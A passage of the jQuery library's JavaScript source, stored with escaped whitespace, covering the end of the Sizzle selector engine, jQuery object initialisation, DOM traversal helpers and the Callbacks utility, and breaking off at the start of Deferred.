0,\n\t\t\t\ti = \"0\",\n\t\t\t\tunmatched = seed && [],\n\t\t\t\tsetMatched = [],\n\t\t\t\tcontextBackup = outermostContext,\n\t\t\t\t// We must always have either seed elements or outermost context\n\t\t\t\telems = seed || byElement && Expr.find[\"TAG\"]( \"*\", outermost ),\n\t\t\t\t// Use integer dirruns iff this is the outermost matcher\n\t\t\t\tdirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),\n\t\t\t\tlen = elems.length;\n\n\t\t\tif ( outermost ) {\n\t\t\t\toutermostContext = context !== document && context;\n\t\t\t}\n\n\t\t\t// Add elements passing elementMatchers directly to results\n\t\t\t// Keep `i` a string if there are no elements so `matchedCount` will be \"00\" below\n\t\t\t// Support: IE<9, Safari\n\t\t\t// Tolerate NodeList properties (IE: \"length\"; Safari: <number>) matching elements by id\n\t\t\tfor ( ; i !== len && (elem = elems[i]) != null; i++ ) {\n\t\t\t\tif ( byElement && elem ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\twhile ( (matcher = elementMatchers[j++]) ) {\n\t\t\t\t\t\tif ( matcher( elem, context, xml ) ) {\n\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( outermost ) {\n\t\t\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Track unmatched elements for set filters\n\t\t\t\tif ( bySet ) {\n\t\t\t\t\t// They will have gone through all possible matchers\n\t\t\t\t\tif ( (elem = !matcher && elem) ) {\n\t\t\t\t\t\tmatchedCount--;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Lengthen the array for every element, matched or not\n\t\t\t\t\tif ( seed ) {\n\t\t\t\t\t\tunmatched.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Apply set filters to unmatched elements\n\t\t\tmatchedCount += i;\n\t\t\tif ( bySet && i !== matchedCount ) {\n\t\t\t\tj = 0;\n\t\t\t\twhile ( (matcher = setMatchers[j++]) ) {\n\t\t\t\t\tmatcher( unmatched, setMatched, context, xml );\n\t\t\t\t}\n\n\t\t\t\tif ( seed ) {\n\t\t\t\t\t// Reintegrate element matches to eliminate the need for sorting\n\t\t\t\t\tif ( matchedCount > 0 ) {\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tif ( !(unmatched[i] || setMatched[i]) ) {\n\t\t\t\t\t\t\t\tsetMatched[i] = pop.call( results );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Discard index placeholder values to get only actual matches\n\t\t\t\t\tsetMatched = condense( setMatched );\n\t\t\t\t}\n\n\t\t\t\t// Add matches to results\n\t\t\t\tpush.apply( results, setMatched );\n\n\t\t\t\t// Seedless set matches succeeding multiple successful matchers stipulate sorting\n\t\t\t\tif ( outermost && !seed && setMatched.length > 0 &&\n\t\t\t\t\t( matchedCount + setMatchers.length ) > 1 ) {\n\n\t\t\t\t\tSizzle.uniqueSort( results );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Override manipulation of globals by nested matchers\n\t\t\tif ( outermost ) {\n\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\toutermostContext = contextBackup;\n\t\t\t}\n\n\t\t\treturn unmatched;\n\t\t};\n\n\treturn bySet ?\n\t\tmarkFunction( superMatcher ) :\n\t\tsuperMatcher;\n}\n\ncompile = Sizzle.compile = function( selector, group /* Internal Use Only */ ) {\n\tvar i,\n\t\tsetMatchers = [],\n\t\telementMatchers = [],\n\t\tcached = compilerCache[ selector + \" \" ];\n\n\tif ( !cached ) {\n\t\t// Generate a function of recursive functions that can be used to check each element\n\t\tif ( !group ) {\n\t\t\tgroup = tokenize( selector );\n\t\t}\n\t\ti = group.length;\n\t\twhile ( i-- ) {\n\t\t\tcached = matcherFromTokens( group[i] );\n\t\t\tif ( cached[ expando ] ) {\n\t\t\t\tsetMatchers.push( cached );\n\t\t\t} else {\n\t\t\t\telementMatchers.push( cached );\n\t\t\t}\n\t\t}\n\n\t\t// Cache the compiled function\n\t\tcached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );\n\t}\n\treturn cached;\n};\n\nfunction multipleContexts( selector, contexts, results ) {\n\tvar i = 0,\n\t\tlen = contexts.length;\n\tfor ( ; i < len; i++ ) {\n\t\tSizzle( selector, contexts[i], results );\n\t}\n\treturn results;\n}\n\nfunction select( selector, context, results, seed ) {\n\tvar i, tokens, token, type, find,\n\t\tmatch = tokenize( selector );\n\n\tif ( !seed ) {\n\t\t// Try to minimize operations if there is only one group\n\t\tif ( match.length === 1 ) {\n\n\t\t\t// Take a shortcut and set the context if the root selector is an ID\n\t\t\ttokens = match[0] = match[0].slice( 0 );\n\t\t\tif ( tokens.length > 2 && (token = tokens[0]).type === \"ID\" &&\n\t\t\t\t\tsupport.getById && context.nodeType === 9 && documentIsHTML &&\n\t\t\t\t\tExpr.relative[ tokens[1].type ] ) {\n\n\t\t\t\tcontext = ( Expr.find[\"ID\"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];\n\t\t\t\tif ( !context ) {\n\t\t\t\t\treturn results;\n\t\t\t\t}\n\t\t\t\tselector = selector.slice( tokens.shift().value.length );\n\t\t\t}\n\n\t\t\t// Fetch a seed set for right-to-left matching\n\t\t\ti = matchExpr[\"needsContext\"].test( selector ) ? 0 : tokens.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\ttoken = tokens[i];\n\n\t\t\t\t// Abort if we hit a combinator\n\t\t\t\tif ( Expr.relative[ (type = token.type) ] ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif ( (find = Expr.find[ type ]) ) {\n\t\t\t\t\t// Search, expanding context for leading sibling combinators\n\t\t\t\t\tif ( (seed = find(\n\t\t\t\t\t\ttoken.matches[0].replace( runescape, funescape ),\n\t\t\t\t\t\trsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context\n\t\t\t\t\t)) ) {\n\n\t\t\t\t\t\t// If seed is empty or no tokens remain, we can return early\n\t\t\t\t\t\ttokens.splice( i, 1 );\n\t\t\t\t\t\tselector = seed.length && toSelector( tokens );\n\t\t\t\t\t\tif ( !selector ) {\n\t\t\t\t\t\t\tpush.apply( results, seed );\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Compile and execute a filtering function\n\t// Provide `match` to avoid retokenization if we modified the selector above\n\tcompile( selector, match )(\n\t\tseed,\n\t\tcontext,\n\t\t!documentIsHTML,\n\t\tresults,\n\t\trsibling.test( selector ) && testContext( context.parentNode ) || context\n\t);\n\treturn results;\n}\n\n// One-time assignments\n\n// Sort stability\nsupport.sortStable = expando.split(\"\").sort( sortOrder ).join(\"\") === expando;\n\n// Support: Chrome<14\n// Always assume duplicates if they aren't passed to the comparison function\nsupport.detectDuplicates = !!hasDuplicate;\n\n// Initialize against the default document\nsetDocument();\n\n// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)\n// Detached nodes confoundingly follow *each other*\nsupport.sortDetached = assert(function( div1 ) {\n\t// Should return 1, but returns 4 (following)\n\treturn div1.compareDocumentPosition( document.createElement(\"div\") ) & 1;\n});\n\n// Support: IE<8\n// Prevent attribute/property \"interpolation\"\n// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx\nif ( !assert(function( div ) {\n\tdiv.innerHTML = \"<a href='#'></a>\";\n\treturn div.firstChild.getAttribute(\"href\") === \"#\" ;\n}) ) {\n\taddHandle( \"type|href|height|width\", function( elem, name, isXML ) {\n\t\tif ( !isXML ) {\n\t\t\treturn elem.getAttribute( name, name.toLowerCase() === \"type\" ? 1 : 2 );\n\t\t}\n\t});\n}\n\n// Support: IE<9\n// Use defaultValue in place of getAttribute(\"value\")\nif ( !support.attributes || !assert(function( div ) {\n\tdiv.innerHTML = \"<input/>\";\n\tdiv.firstChild.setAttribute( \"value\", \"\" );\n\treturn div.firstChild.getAttribute( \"value\" ) === \"\";\n}) ) {\n\taddHandle( \"value\", function( elem, name, isXML ) {\n\t\tif ( !isXML && elem.nodeName.toLowerCase() === \"input\" ) {\n\t\t\treturn elem.defaultValue;\n\t\t}\n\t});\n}\n\n// Support: IE<9\n// Use getAttributeNode to fetch booleans when getAttribute lies\nif ( !assert(function( div ) {\n\treturn div.getAttribute(\"disabled\") == null;\n}) ) {\n\taddHandle( booleans, function( elem, name, isXML ) {\n\t\tvar val;\n\t\tif ( !isXML ) {\n\t\t\treturn elem[ name ] === true ? name.toLowerCase() :\n\t\t\t\t\t(val = elem.getAttributeNode( name )) && val.specified ?\n\t\t\t\t\tval.value :\n\t\t\t\tnull;\n\t\t}\n\t});\n}\n\nreturn Sizzle;\n\n})( window );\n\n\n\njQuery.find = Sizzle;\njQuery.expr = Sizzle.selectors;\njQuery.expr[\":\"] = jQuery.expr.pseudos;\njQuery.unique = Sizzle.uniqueSort;\njQuery.text = Sizzle.getText;\njQuery.isXMLDoc = Sizzle.isXML;\njQuery.contains = Sizzle.contains;\n\n\n\nvar rneedsContext = jQuery.expr.match.needsContext;\n\nvar rsingleTag = (/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/);\n\n\n\nvar risSimple = /^.[^:#\\[\\.,]*$/;\n\n// Implement the identical functionality for filter and not\nfunction winnow( elements, qualifier, not ) {\n\tif ( jQuery.isFunction( qualifier ) ) {\n\t\treturn jQuery.grep( elements, function( elem, i ) {\n\t\t\t/* jshint -W018 */\n\t\t\treturn !!qualifier.call( elem, i, elem ) !== not;\n\t\t});\n\n\t}\n\n\tif ( qualifier.nodeType ) {\n\t\treturn jQuery.grep( elements, function( elem ) {\n\t\t\treturn ( elem === qualifier ) !== not;\n\t\t});\n\n\t}\n\n\tif ( typeof qualifier === \"string\" ) {\n\t\tif ( risSimple.test( qualifier ) ) {\n\t\t\treturn jQuery.filter( qualifier, elements, not );\n\t\t}\n\n\t\tqualifier = jQuery.filter( qualifier, elements );\n\t}\n\n\treturn jQuery.grep( elements, function( elem ) {\n\t\treturn ( jQuery.inArray( elem, qualifier ) >= 0 ) !== not;\n\t});\n}\n\njQuery.filter = function( expr, elems, not ) {\n\tvar elem = elems[ 0 ];\n\n\tif ( not ) {\n\t\texpr = \":not(\" + expr + \")\";\n\t}\n\n\treturn elems.length === 1 && elem.nodeType === 1 ?\n\t\tjQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] :\n\t\tjQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {\n\t\t\treturn elem.nodeType === 1;\n\t\t}));\n};\n\njQuery.fn.extend({\n\tfind: function( selector ) {\n\t\tvar i,\n\t\t\tret = [],\n\t\t\tself = this,\n\t\t\tlen = self.length;\n\n\t\tif ( typeof selector !== \"string\" ) {\n\t\t\treturn this.pushStack( jQuery( selector ).filter(function() {\n\t\t\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\t\t\tif ( jQuery.contains( self[ i ], this ) ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}) );\n\t\t}\n\n\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\tjQuery.find( selector, self[ i ], ret );\n\t\t}\n\n\t\t// Needed because $( selector, context ) becomes $( context ).find( selector )\n\t\tret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret );\n\t\tret.selector = this.selector ? this.selector + \" \" + selector : selector;\n\t\treturn ret;\n\t},\n\tfilter: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector || [], false) );\n\t},\n\tnot: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector || [], true) );\n\t},\n\tis: function( selector ) {\n\t\treturn !!winnow(\n\t\t\tthis,\n\n\t\t\t// If this is a positional/relative selector, check membership in the returned set\n\t\t\t// so $(\"p:first\").is(\"p:last\") won't return true for a doc with two \"p\".\n\t\t\ttypeof selector === \"string\" && rneedsContext.test( selector ) ?\n\t\t\t\tjQuery( selector ) :\n\t\t\t\tselector || [],\n\t\t\tfalse\n\t\t).length;\n\t}\n});\n\n\n// Initialize a jQuery object\n\n\n// A central reference to the root jQuery(document)\nvar rootjQuery,\n\n\t// Use the correct document accordingly with window argument (sandbox)\n\tdocument = window.document,\n\n\t// A simple way to check for HTML strings\n\t// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)\n\t// Strict HTML recognition (#11290: must start with <)\n\trquickExpr = /^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,\n\n\tinit = jQuery.fn.init = function( selector, context ) {\n\t\tvar match, elem;\n\n\t\t// HANDLE: $(\"\"), $(null), $(undefined), $(false)\n\t\tif ( !selector ) {\n\t\t\treturn this;\n\t\t}\n\n\t\t// Handle HTML strings\n\t\tif ( typeof selector === \"string\" ) {\n\t\t\tif ( selector.charAt(0) === \"<\" && selector.charAt( selector.length - 1 ) === \">\" && selector.length >= 3 ) {\n\t\t\t\t// Assume that strings that start and end with <> are HTML and skip the regex check\n\t\t\t\tmatch = [ null, selector, null ];\n\n\t\t\t} else {\n\t\t\t\tmatch = rquickExpr.exec( selector );\n\t\t\t}\n\n\t\t\t// Match html or make sure no context is specified for #id\n\t\t\tif ( match && (match[1] || !context) ) {\n\n\t\t\t\t// HANDLE: $(html) -> $(array)\n\t\t\t\tif ( match[1] ) {\n\t\t\t\t\tcontext = context instanceof jQuery ? context[0] : context;\n\n\t\t\t\t\t// scripts is true for back-compat\n\t\t\t\t\t// Intentionally let the error be thrown if parseHTML is not present\n\t\t\t\t\tjQuery.merge( this, jQuery.parseHTML(\n\t\t\t\t\t\tmatch[1],\n\t\t\t\t\t\tcontext && context.nodeType ? context.ownerDocument || context : document,\n\t\t\t\t\t\ttrue\n\t\t\t\t\t) );\n\n\t\t\t\t\t// HANDLE: $(html, props)\n\t\t\t\t\tif ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) {\n\t\t\t\t\t\tfor ( match in context ) {\n\t\t\t\t\t\t\t// Properties of context are called as methods if possible\n\t\t\t\t\t\t\tif ( jQuery.isFunction( this[ match ] ) ) {\n\t\t\t\t\t\t\t\tthis[ match ]( context[ match ] );\n\n\t\t\t\t\t\t\t// ...and otherwise set as attributes\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tthis.attr( match, context[ match ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn this;\n\n\t\t\t\t// HANDLE: $(#id)\n\t\t\t\t} else {\n\t\t\t\t\telem = document.getElementById( match[2] );\n\n\t\t\t\t\t// Check parentNode to catch when Blackberry 4.6 returns\n\t\t\t\t\t// nodes that are no longer in the document #6963\n\t\t\t\t\tif ( elem && elem.parentNode ) {\n\t\t\t\t\t\t// Handle the case where IE and Opera return items\n\t\t\t\t\t\t// by name instead of ID\n\t\t\t\t\t\tif ( elem.id !== match[2] ) {\n\t\t\t\t\t\t\treturn rootjQuery.find( selector );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Otherwise, we inject the element directly into the jQuery object\n\t\t\t\t\t\tthis.length = 1;\n\t\t\t\t\t\tthis[0] = elem;\n\t\t\t\t\t}\n\n\t\t\t\t\tthis.context = document;\n\t\t\t\t\tthis.selector = selector;\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\n\t\t\t// HANDLE: $(expr, $(...))\n\t\t\t} else if ( !context || context.jquery ) {\n\t\t\t\treturn ( context || rootjQuery ).find( selector );\n\n\t\t\t// HANDLE: $(expr, context)\n\t\t\t// (which is just equivalent to: $(context).find(expr)\n\t\t\t} else {\n\t\t\t\treturn this.constructor( context ).find( selector );\n\t\t\t}\n\n\t\t// HANDLE: $(DOMElement)\n\t\t} else if ( selector.nodeType ) {\n\t\t\tthis.context = this[0] = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\n\t\t// HANDLE: $(function)\n\t\t// Shortcut for document ready\n\t\t} else if ( jQuery.isFunction( selector ) ) {\n\t\t\treturn typeof rootjQuery.ready !== \"undefined\" ?\n\t\t\t\trootjQuery.ready( selector ) :\n\t\t\t\t// Execute immediately if ready is not present\n\t\t\t\tselector( jQuery );\n\t\t}\n\n\t\tif ( selector.selector !== undefined ) {\n\t\t\tthis.selector = selector.selector;\n\t\t\tthis.context = selector.context;\n\t\t}\n\n\t\treturn jQuery.makeArray( selector, this );\n\t};\n\n// Give the init function the jQuery prototype for later instantiation\ninit.prototype = jQuery.fn;\n\n// Initialize central reference\nrootjQuery = jQuery( document );\n\n\nvar rparentsprev = /^(?:parents|prev(?:Until|All))/,\n\t// methods guaranteed to produce a unique set when starting from a unique set\n\tguaranteedUnique = {\n\t\tchildren: true,\n\t\tcontents: true,\n\t\tnext: true,\n\t\tprev: true\n\t};\n\njQuery.extend({\n\tdir: function( elem, dir, until ) {\n\t\tvar matched = [],\n\t\t\tcur = elem[ dir ];\n\n\t\twhile ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {\n\t\t\tif ( cur.nodeType === 1 ) {\n\t\t\t\tmatched.push( cur );\n\t\t\t}\n\t\t\tcur = cur[dir];\n\t\t}\n\t\treturn matched;\n\t},\n\n\tsibling: function( n, elem ) {\n\t\tvar r = [];\n\n\t\tfor ( ; n; n = n.nextSibling ) {\n\t\t\tif ( n.nodeType === 1 && n !== elem ) {\n\t\t\t\tr.push( n );\n\t\t\t}\n\t\t}\n\n\t\treturn r;\n\t}\n});\n\njQuery.fn.extend({\n\thas: function( target ) {\n\t\tvar i,\n\t\t\ttargets = jQuery( target, this ),\n\t\t\tlen = targets.length;\n\n\t\treturn this.filter(function() {\n\t\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\t\tif ( jQuery.contains( this, targets[i] ) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t},\n\n\tclosest: function( selectors, context ) {\n\t\tvar cur,\n\t\t\ti = 0,\n\t\t\tl = this.length,\n\t\t\tmatched = [],\n\t\t\tpos = rneedsContext.test( selectors ) || typeof selectors !== \"string\" ?\n\t\t\t\tjQuery( selectors, context || this.context ) :\n\t\t\t\t0;\n\n\t\tfor ( ; i < l; i++ ) {\n\t\t\tfor ( cur = this[i]; cur && cur !== context; cur = cur.parentNode ) {\n\t\t\t\t// Always skip document fragments\n\t\t\t\tif ( cur.nodeType < 11 && (pos ?\n\t\t\t\t\tpos.index(cur) > -1 :\n\n\t\t\t\t\t// Don't pass non-elements to Sizzle\n\t\t\t\t\tcur.nodeType === 1 &&\n\t\t\t\t\t\tjQuery.find.matchesSelector(cur, selectors)) ) {\n\n\t\t\t\t\tmatched.push( cur );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( matched.length > 1 ? jQuery.unique( matched ) : matched );\n\t},\n\n\t// Determine the position of an element within\n\t// the matched set of elements\n\tindex: function( elem ) {\n\n\t\t// No argument, return index in parent\n\t\tif ( !elem ) {\n\t\t\treturn ( this[0] && this[0].parentNode ) ? this.first().prevAll().length : -1;\n\t\t}\n\n\t\t// index in selector\n\t\tif ( typeof elem === \"string\" ) {\n\t\t\treturn jQuery.inArray( this[0], jQuery( elem ) );\n\t\t}\n\n\t\t// Locate the position of the desired element\n\t\treturn jQuery.inArray(\n\t\t\t// If it receives a jQuery object, the first element is used\n\t\t\telem.jquery ? elem[0] : elem, this );\n\t},\n\n\tadd: function( selector, context ) {\n\t\treturn this.pushStack(\n\t\t\tjQuery.unique(\n\t\t\t\tjQuery.merge( this.get(), jQuery( selector, context ) )\n\t\t\t)\n\t\t);\n\t},\n\n\taddBack: function( selector ) {\n\t\treturn this.add( selector == null ?\n\t\t\tthis.prevObject : this.prevObject.filter(selector)\n\t\t);\n\t}\n});\n\nfunction sibling( cur, dir ) {\n\tdo {\n\t\tcur = cur[ dir ];\n\t} while ( cur && cur.nodeType !== 1 );\n\n\treturn cur;\n}\n\njQuery.each({\n\tparent: function( elem ) {\n\t\tvar parent = elem.parentNode;\n\t\treturn parent && parent.nodeType !== 11 ? parent : null;\n\t},\n\tparents: function( elem ) {\n\t\treturn jQuery.dir( elem, \"parentNode\" );\n\t},\n\tparentsUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"parentNode\", until );\n\t},\n\tnext: function( elem ) {\n\t\treturn sibling( elem, \"nextSibling\" );\n\t},\n\tprev: function( elem ) {\n\t\treturn sibling( elem, \"previousSibling\" );\n\t},\n\tnextAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\" );\n\t},\n\tprevAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\" );\n\t},\n\tnextUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\", until );\n\t},\n\tprevUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\", until );\n\t},\n\tsiblings: function( elem ) {\n\t\treturn jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem );\n\t},\n\tchildren: function( elem ) {\n\t\treturn jQuery.sibling( elem.firstChild );\n\t},\n\tcontents: function( elem ) {\n\t\treturn jQuery.nodeName( elem, \"iframe\" ) ?\n\t\t\telem.contentDocument || elem.contentWindow.document :\n\t\t\tjQuery.merge( [], elem.childNodes );\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function( until, selector ) {\n\t\tvar ret = jQuery.map( this, fn, until );\n\n\t\tif ( name.slice( -5 ) !== \"Until\" ) {\n\t\t\tselector = until;\n\t\t}\n\n\t\tif ( selector && typeof selector === \"string\" ) {\n\t\t\tret = jQuery.filter( selector, ret );\n\t\t}\n\n\t\tif ( this.length > 1 ) {\n\t\t\t// Remove duplicates\n\t\t\tif ( !guaranteedUnique[ name ] ) {\n\t\t\t\tret = jQuery.unique( ret );\n\t\t\t}\n\n\t\t\t// Reverse order for parents* and prev-derivatives\n\t\t\tif ( rparentsprev.test( name ) ) {\n\t\t\t\tret = ret.reverse();\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( ret );\n\t};\n});\nvar rnotwhite = (/\\S+/g);\n\n\n\n// String to Object options format cache\nvar optionsCache = {};\n\n// Convert String-formatted options into Object-formatted ones and store in cache\nfunction createOptions( options ) {\n\tvar object = optionsCache[ options ] = {};\n\tjQuery.each( options.match( rnotwhite ) || [], function( _, flag ) {\n\t\tobject[ flag ] = true;\n\t});\n\treturn object;\n}\n\n/*\n * Create a callback list using the following parameters:\n *\n *\toptions: an optional list of space-separated options that will change how\n *\t\t\tthe callback list behaves or a more traditional option object\n *\n * By default a callback list will act like an event callback list and can be\n * \"fired\" multiple times.\n *\n * Possible options:\n *\n *\tonce:\t\t\twill ensure the callback list can only be fired once (like a Deferred)\n *\n *\tmemory:\t\t\twill keep track of previous values and will call any callback added\n *\t\t\t\t\tafter the list has been fired right away with the latest \"memorized\"\n *\t\t\t\t\tvalues (like a Deferred)\n *\n *\tunique:\t\t\twill ensure a callback can only be added once (no duplicate in the list)\n *\n *\tstopOnFalse:\tinterrupt callings when a callback returns false\n *\n */\njQuery.Callbacks = function( options ) {\n\n\t// Convert options from String-formatted to Object-formatted if needed\n\t// (we check in cache first)\n\toptions = typeof options === \"string\" ?\n\t\t( optionsCache[ options ] || createOptions( options ) ) :\n\t\tjQuery.extend( {}, options );\n\n\tvar // Flag to know if list is currently firing\n\t\tfiring,\n\t\t// Last fire value (for non-forgettable lists)\n\t\tmemory,\n\t\t// Flag to know if list was already fired\n\t\tfired,\n\t\t// End of the loop when firing\n\t\tfiringLength,\n\t\t// Index of currently firing callback (modified by remove if needed)\n\t\tfiringIndex,\n\t\t// First callback to fire (used internally by add and fireWith)\n\t\tfiringStart,\n\t\t// Actual callback list\n\t\tlist = [],\n\t\t// Stack of fire calls for repeatable lists\n\t\tstack = !options.once && [],\n\t\t// Fire callbacks\n\t\tfire = function( data ) {\n\t\t\tmemory = options.memory && data;\n\t\t\tfired = true;\n\t\t\tfiringIndex = firingStart || 0;\n\t\t\tfiringStart = 0;\n\t\t\tfiringLength = list.length;\n\t\t\tfiring = true;\n\t\t\tfor ( ; list && firingIndex < firingLength; firingIndex++ ) {\n\t\t\t\tif ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) {\n\t\t\t\t\tmemory = false; // To prevent further calls using add\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiring = false;\n\t\t\tif ( list ) {\n\t\t\t\tif ( stack ) {\n\t\t\t\t\tif ( stack.length ) {\n\t\t\t\t\t\tfire( stack.shift() );\n\t\t\t\t\t}\n\t\t\t\t} else if ( memory ) {\n\t\t\t\t\tlist = [];\n\t\t\t\t} else {\n\t\t\t\t\tself.disable();\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t// Actual Callbacks object\n\t\tself = {\n\t\t\t// Add a callback or a collection of callbacks to the list\n\t\t\tadd: function() {\n\t\t\t\tif ( list ) {\n\t\t\t\t\t// First, we save the current length\n\t\t\t\t\tvar start = list.length;\n\t\t\t\t\t(function add( args ) {\n\t\t\t\t\t\tjQuery.each( args, function( _, arg ) {\n\t\t\t\t\t\t\tvar type = jQuery.type( arg );\n\t\t\t\t\t\t\tif ( type === \"function\" ) {\n\t\t\t\t\t\t\t\tif ( !options.unique || !self.has( arg ) ) {\n\t\t\t\t\t\t\t\t\tlist.push( arg );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else if ( arg && arg.length && type !== \"string\" ) {\n\t\t\t\t\t\t\t\t// Inspect recursively\n\t\t\t\t\t\t\t\tadd( arg );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t})( arguments );\n\t\t\t\t\t// Do we need to add the callbacks to the\n\t\t\t\t\t// current firing batch?\n\t\t\t\t\tif ( firing ) {\n\t\t\t\t\t\tfiringLength = list.length;\n\t\t\t\t\t// With memory, if we're not firing then\n\t\t\t\t\t// we should call right away\n\t\t\t\t\t} else if ( memory ) {\n\t\t\t\t\t\tfiringStart = start;\n\t\t\t\t\t\tfire( memory );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Remove a callback from the list\n\t\t\tremove: function() {\n\t\t\t\tif ( list ) {\n\t\t\t\t\tjQuery.each( arguments, function( _, arg ) {\n\t\t\t\t\t\tvar index;\n\t\t\t\t\t\twhile ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {\n\t\t\t\t\t\t\tlist.splice( index, 1 );\n\t\t\t\t\t\t\t// Handle firing indexes\n\t\t\t\t\t\t\tif ( firing ) {\n\t\t\t\t\t\t\t\tif ( index <= firingLength ) {\n\t\t\t\t\t\t\t\t\tfiringLength--;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ( index <= firingIndex ) {\n\t\t\t\t\t\t\t\t\tfiringIndex--;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Check if a given callback is in the list.\n\t\t\t// If no argument is given, return whether or not list has callbacks attached.\n\t\t\thas: function( fn ) {\n\t\t\t\treturn fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length );\n\t\t\t},\n\t\t\t// Remove all callbacks from the list\n\t\t\tempty: function() {\n\t\t\t\tlist = [];\n\t\t\t\tfiringLength = 0;\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Have the list do nothing anymore\n\t\t\tdisable: function() {\n\t\t\t\tlist = stack = memory = undefined;\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Is it disabled?\n\t\t\tdisabled: function() {\n\t\t\t\treturn !list;\n\t\t\t},\n\t\t\t// Lock the list in its current state\n\t\t\tlock: function() {\n\t\t\t\tstack = undefined;\n\t\t\t\tif ( !memory ) {\n\t\t\t\t\tself.disable();\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Is it locked?\n\t\t\tlocked: function() {\n\t\t\t\treturn !stack;\n\t\t\t},\n\t\t\t// Call all callbacks with the given context and arguments\n\t\t\tfireWith: function( context, args ) {\n\t\t\t\tif ( list && ( !fired || stack ) ) {\n\t\t\t\t\targs = args || [];\n\t\t\t\t\targs = [ context, args.slice ? args.slice() : args ];\n\t\t\t\t\tif ( firing ) {\n\t\t\t\t\t\tstack.push( args );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfire( args );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Call all the callbacks with the given arguments\n\t\t\tfire: function() {\n\t\t\t\tself.fireWith( this, arguments );\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// To know if the callbacks have already been called at least once\n\t\t\tfired: function() {\n\t\t\t\treturn !!fired;\n\t\t\t}\n\t\t};\n\n\treturn self;\n};\n\n\njQuery.extend({\n\n\tDeferred: function( func ) {\n\t\tvar tuples = [\n\t\t\t\t// action, add listener, listener list, final state\n\t\t\t\t[ \"resolve\", \"done\", jQuery.Callbacks(\"once memory\"), \"resolved\" ],\n\t\t\t\t[ \"reject\", \"fail\", jQuery.Callbacks(\"once memory\"), \"rejected\" ],\n\t\t\t\t[ \"notify\", \"progress\", jQuery.Callbacks(\"memory\") 